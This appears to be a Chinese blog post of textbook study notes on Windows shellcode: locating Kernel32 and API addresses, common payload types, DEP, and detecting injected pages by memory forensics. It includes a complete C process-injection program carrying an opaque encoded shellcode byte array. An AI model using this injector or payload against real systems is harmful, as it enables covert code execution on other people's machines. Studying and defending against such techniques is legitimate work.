[笔记]Windows安全之《三》Shellcode

2024-02-05 07:40

本文主要是介绍[笔记]Windows安全之《三》Shellcode,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

《加密与解密 漏洞篇 14.2 Shellcode》

文章目录

  • 前言
  • Shellcode的结构
    • 基本模块
      • 1.获取Kernel32基址
      • 3.获得API地址
    • 功能模块
      • 1.下载执行(Download & Execute)
      • 2.捆绑 (Binder)
      • 3.反弹shell
  • Shellcode通用技术
  • Shellcode编写
  • Shellcode利用提取和调试
  • Shellcode注入
  • 反Shellcode注入和反反Shellcode注入
    • 反Shellcode注入
    • 反Shellcode之什么是DEP保护
      • 开启DEP保护
    • 反反Shellcode注入-绕过DEP保护的方法
  • 总结

前言

Shellcode实际上是一段可以独立执行的代码(也可以认为是一段填充数据),在触发了缓冲区溢出漏洞并获取了eip指针的控制权后,通常会将eip指针指向Shellcode以完成漏洞利用过程。

eip指针是指令指针的一种,指令指针IP/EIP/RIP的基本作用是指向要执行的下一条地址

Shellcode主要工作流程:
在这里插入图片描述

Shellcode的结构

Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码。
特点:

  • 它不依赖任何编译环境,也不能像在DE中直接编写代码那样调用API函数名称来实现功能。
  • 它通过主动查找DLL基址并动态获取API地址的方式来实现API调用,然后根据实际功能调用相应的API函数来完成其自身的功能。

Shellcode分为两个模块,分别是基本模块和功能模块,结构如图14.10所示。
在这里插入图片描述

基本模块

基本模块用于实现Shellcode初始运行、获取Kernel32基址及获取API地址的过程。

1.获取Kernel32基址

获取Kernel32基址的常见方法有:

  • 暴力搜索、
  • 异常处理链表搜索
  • TEB(Thread Environment Block)搜索。

这里只介绍目前最常用的动态获取Kernel32.dl基址的方法-TEB查找法。

其原理是:

在NT内核系统中,fs寄存器指向TEB结构,TEB+0x30偏移处指向PEB(Process Environment Block)结构,PEB+0x0c偏移处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址,第1个指向Ntdll.dll,第2个就是Kernel.32.dll的基地址。

FS寄存器指向当前活动线程的TEB结构(线程结构)
偏移 说明
000 指向SEH链指针
004 线程堆栈顶部
008 线程堆栈底部
00C SubSystemTib
010 FiberData
014 ArbitraryUserPointer
018 FS段寄存器在内存中的镜像地址
020 进程PID
024 线程ID
02C 指向线程局部存储指针
030 PEB结构地址(进程结构)
034 上个错误号

如图14.11所示。
在这里插入图片描述
代码实现:
(使用了内联汇编,注意vs不支持x64的汇编)

//Windows XP SP3+VC6.0,编译选项:Debug(默认配置)
#include <stdio.h>
#include <stdio.h>
#include <Windows.h>
int main(int argc, char*argv[])
{DWORD hKernel32 = 0;_asm{mov eax,fs:[30h]mov eax,dword ptr[eax + 0ch]mov esi,dword ptr[eax + 1ch]lodsd mov eax,dword ptr[eax + 8]mov hKernel32, eax; 获取Kernel32基址}printf("hKernel32 0x%x\n", hKernel32);system("pause");return 0;
}

3.获得API地址

从DLL文件中获取API地址的方法如图14.12所示,步骤如下:

  1. 在DLL基址+3ch偏移处获取e lfanew的地址,即可得到PE文件头。
  2. 在PE文件头的78h偏移处得到函数导出表的地址。
  3. 在导出表的1ch偏移处获取AddressOfFunctions的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。
  4. AddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。
    在这里插入图片描述

在实际应用中,如果API函数名称直接以明文出现,就会降低Shellcode的分析难度。
而且, API函数名称占用的空间一般都比较大,这会使Shellcode的体积跟着增大。要知道,在内存中用于存放Shellcode的空间可谓寸土寸金,所以,黑客们想了一个好办法,利用Hash算法将要获取的函数名称转换为一个4字节的Hash值,在搜索过程中按此算法计算DLL中的文件名称的Hash值,对比两个Hash值是否相同。这样就有效减小了Shellcode的体积,同时提高了Shellcode的隐蔽性。

获取API地址示例代码:
(参考 加密与解密代码 可私信我获得)

FindApi:push    ecxpush    ebpmov     esi, dword ptr[ebx + 3Ch]	// e_lfanewmov     esi, dword ptr[esi + ebx + 78h]// EATAddradd     esi, ebxpush    esimov     esi, dword ptr[esi + 20h]    //AddressOfNamesadd     esi, ebxxor     ecx, ecxdec     ecxFind_Loop :inc     ecxlods    dword ptr[esi]add     eax, ebxxor     ebp, ebp
//计算hash值	
Hash_Loop :movsx   edx, byte ptr[eax]cmp     dl, dhje      hash_OKror     ebp, 7add     ebp, edxinc     eaxjmp     Hash_Loophash_OK ://判断hash值是否相等cmp     ebp, dword ptr[edi]jnz     Find_Looppop     esimov     ebp, dword ptr[esi + 24h]	//Ordinal Tableadd     ebp, ebxmov     cx, word ptr[ebp + ecx * 2]mov     ebp, dword ptr[esi + 1Ch]	//Address Tableadd     ebp, ebxmov     eax, dword ptr[ebp + ecx * 4]add     eax, ebx

另外,因为Shellcode需要实现的功能不同,所以调用的可能不仅仅是Kernel32中的API。
如何解决这个问题呢?
在得到Kernel32的基址之后,通过上面的方法获取Kernel32里的两个重要API的地址
(即LoadLibrary和GetProcessAddress) 。通过它们的组合就可以获取任意DLL中的API地址了。

功能模块

功能模块就是实现漏洞利用目的的那部分Shellcode.。前面介绍的基础模块所做的工作,其目的就是在这里实现相应的功能。下面介绍Shellcode的几种常见功能:

1.下载执行(Download & Execute)

具有这个功能的Shellcode最常被浏览器类漏洞样本使用,其功能就是从指定的URL下载一个exe文件并运行,工作流程如图14.13所示。
在这里插入图片描述

2.捆绑 (Binder)

具有这个功能的Shellcode最常见于Office等漏洞样本中,其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行,工作流程如图14.14所示。
在这里插入图片描述

3.反弹shell

具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中,攻击者可以借助NC等工具,在实施攻击后获取一个远程She以执行任意命令,工作流程如图14.15所示。
在这里插入图片描述

Shellcode通用技术

Shellcode编写

Shellcode利用提取和调试

Shellcode注入

将ShellCode注入进程内存

shellcode注入是一种进程注入技术,其主要过程如下:

  • 利用OpenProcess()附加到被害进程

  • 使用VirtualAllocEx()在被害进程中分配内存,这里一定要以可执行权限分配,不然会由于DEP保护,使得注入的代码无法执行

  • 使用WriteProcessMemory()函数在分配的内存中写入shellcode

  • 使用CreateRemoteThread()将程序执行流控制到shellcode的起始地址(执行shellcode)

#include <stdio.h>
#include <windows.h>unsigned char ShellCode[] =
"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x32\x6d\xbe\x4b\xe6\xfe"
"\xa5\x6f\xce\x25\x7c\xfe\x57\x46\x3b\x3e\x98\x6d\x0c\x7d\x73"
"\x5e\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd"
"\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58\xaf\x62\x19\x5c"
"\xd3\x14\x3a\x49\x2e\x0f\xec\x30\xee\x17\xd7\x8b\x82\x9c\x64"
"\x6c\xe7\x9d\x44\x49\xe4\x8c\x19\x75\xae\xc6\x70\xe8\x17\xd6"
"\x2e\x3f\xa0\x93\x64\x69\x6f\xce\xae\xbd\x27\x16\x16\x69\x27"
"\x4b\xe5\x49\xc8\x5e\x17\xb9\x3f\x45\x6d\x25\xeb\x9d\x56\x49"
"\x26\xcf\xf5\xde\xf9\x5e\xe9\xa0\x2e\x45\x11\xb5\xe7\x17\xc0"
"\x24\x5e\x07\x6d\x0c\x6f\xba\x57\xa8\xa6\xc3\x64\x3c\x6e\x2e"
"\xf6\x1c\x9e\x82\x26\x71\x8b\x1e\x53\x50\xbe\xbb\xfd\x65\xeb"
"\x9d\x56\x4d\x26\xcf\xf5\x5b\xee\x9d\x1a\x21\x2b\x45\x65\x21"
"\xe6\x17\xc6\x28\xe4\xca\xad\x75\xae\xc6\x57\x31\x2e\x96\x7b"
"\x64\xf5\x57\x4e\x28\x36\x8f\x7f\x75\x2c\xfa\x36\x28\x3d\x31"
"\xc5\x65\xee\x4f\x4c\x21\xe4\xdc\xcc\x76\x50\xe9\xe9\x34\x26"
"\x70\x52\x4e\x9d\x49\x25\x5b\x6f\xce\x64\x6b\xe6\x9f\xf0\x21"
"\xee\x22\x85\x3c\xaf\x16\x5f\xe0\x8a\x87\x99\x3f\xaf\x31\x19"
"\xa9\xc7\xcf\x3b\x7c\xfb\x5f\x9f\x8d\x23\x47\xd4\x7c\x15\x5a"
"\x61\x4f\x68\x31\xf0\x71\x26\xfc\x7e\x68\x6e\xce\x25\x64\xee"
"\xac\x3f\xe9\x04\xce\xda\xe8\xc5\x1c\x57\x37\x3f\x9e\x68\x0c"
"\x66\x5b\x27\xa9\x27\x31\xe5\x75\x26\xd4\x5e\x96\xaf\x86\xac"
"\xfc\xee\xac\xfc\x66\xb0\x2e\xda\xe8\xe7\x9f\xd1\x03\x7f\x8f"
"\x7d\x71\x26\xf4\x5e\xe0\x96\x8f\x9f\xa4\x0a\x62\x77\x96\xba"
"\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21"
"\xec\x22\x35\x75\x26\xf4\x5b\x58\xa6\xa4\x21\x7c\xf7\x5e\x9f"
"\x90\x2e\x74\x27\xe4\x67\x49\xe9\xbc\xec\x36\x25\x43\xfa\x5e"
"\x95\xad\x4f\x90\xac\xcb\xc5\x56\x57\x30\x07\xce\x35\x3d\xaf"
"\x57\x4e\x21\xe6\x3c\x6d\x0c\x66\x57\xac\x31\xcb\x9d\xc0\xc2"
"\x7a\x5e\x9f\xaa\x26\x47\xe2\x70\x9e\xdf\x5f\xe0\x9f\x86\xac"
"\xe7\xe7\x9f\xef\x28\xd5\xcc\xfc\xf5\xf0\xe9\xc3\xea\x97\xce"
"\x58\x15\xf7\x57\x41\x30\x07\xce\x65\x3d\xaf\x57\x4e\x03\x6f"
"\x94\x64\x87\xa4\x39\x19\x59\x90\x1b\x72\x64\xee\xac\x63\x07"
"\x22\xaf\xda\xe8\xe6\xe9\xd8\x80\x53\x31\xda\xc2\xe7\x17\xd5"
"\x21\x46\x08\x6d\xb8\x59\x63\xa2\x28\x90\x29\x7d\x57\xaf\x4f"
"\x5f\xae\xad\x3e\x90\x9f\xf9\xe9\xc3\x69\x6f";int main()
{HANDLE Handle;HANDLE remoteThread;PVOID remoteBuffer;DWORD Pid;printf("输入待注入进程PID号:");scanf("%d", &Pid);Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,Pid);remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);CloseHandle(Handle);return 0;
}

反Shellcode注入和反反Shellcode注入

反Shellcode注入

[原创]从内存取证角度检测shellcode

shellcode成功注入并执行后,受害进程中会存在具有可执行权限保护的页面,那么页面对应的pte的NX位应置为0。而正常进程中几乎不可能利用分配的内存去执行恶意代码,也就是说一般情况下分配的内存不会出现可执行权限,利用这一特点,能够检测进程地址空间是否有shellcode。

检测思路如下:

  • 首先将进程的用户地址空间区分为映射文件区和非映射文件区,映射文件区主要包括进程的加载可执行文件和模块,如exe文件、dll文件、nls文件等;非映射文件区主要包括内存中的堆栈等缓冲区,这些内存区几乎不会分配可执行权限的页面。这样做的目的是由于内存中的映射文件本身具有可执行的页面,需要将这些排除在外,防止产生误报。

  • 获取全部非映射文件区的页面的pte

  • 检查这些pte的NX位,若存在NX为0的页面,说明这个页面可能是被注入的页面

  • 输出被注入的页面地址及其内容

反Shellcode之什么是DEP保护

DEP将非代码段的页表属性设置成“不可执行”,一旦系统从这些地址空间进行取指令操作, CPU就会报告“内存违规”异常,进而“杀死”进程。栈空间也被操作系统设置了“不可执行”属性,因此,注入栈中的Shellcode就无法执行了。

开启DEP保护

控制面板->系统和安全->系统->高级系统设置->高级->性能->数据执行保护
在这里插入图片描述

反反Shellcode注入-绕过DEP保护的方法

ROP技术

总结

这篇关于[笔记]Windows安全之《三》Shellcode的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/680206

相关文章

javafx 如何将项目打包为 Windows 的可执行文件exe

《javafx如何将项目打包为Windows的可执行文件exe》文章介绍了三种将JavaFX项目打包为.exe文件的方法:方法1使用jpackage(适用于JDK14及以上版本),方法2使用La... 目录方法 1:使用 jpackage(适用于 JDK 14 及更高版本)方法 2:使用 Launch4j(

windows端python版本管理工具pyenv-win安装使用

《windows端python版本管理工具pyenv-win安装使用》:本文主要介绍如何通过git方式下载和配置pyenv-win,包括下载、克隆仓库、配置环境变量等步骤,同时还详细介绍了如何使用... 目录pyenv-win 下载配置环境变量使用 pyenv-win 管理 python 版本一、安装 和

Python使用pysmb库访问Windows共享文件夹的详细教程

《Python使用pysmb库访问Windows共享文件夹的详细教程》本教程旨在帮助您使用pysmb库,通过SMB(ServerMessageBlock)协议,轻松连接到Windows共享文件夹,并列... 目录前置条件步骤一:导入必要的模块步骤二:配置连接参数步骤三:实例化SMB连接对象并尝试连接步骤四:

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络(1)sklearn

系列文章目录 监督学习:参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归(SAheart.csv) 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

论文阅读笔记: Segment Anything

文章目录 Segment Anything摘要引言任务模型数据引擎数据集负责任的人工智能 Segment Anything Model图像编码器提示编码器mask解码器解决歧义损失和训练 Segment Anything 论文地址: https://arxiv.org/abs/2304.02643 代码地址:https://github.com/facebookresear

数学建模笔记—— 非线性规划

数学建模笔记—— 非线性规划 非线性规划1. 模型原理1.1 非线性规划的标准型1.2 非线性规划求解的Matlab函数 2. 典型例题3. matlab代码求解3.1 例1 一个简单示例3.2 例2 选址问题1. 第一问 线性规划2. 第二问 非线性规划 非线性规划 非线性规划是一种求解目标函数或约束条件中有一个或几个非线性函数的最优化问题的方法。运筹学的一个重要分支。2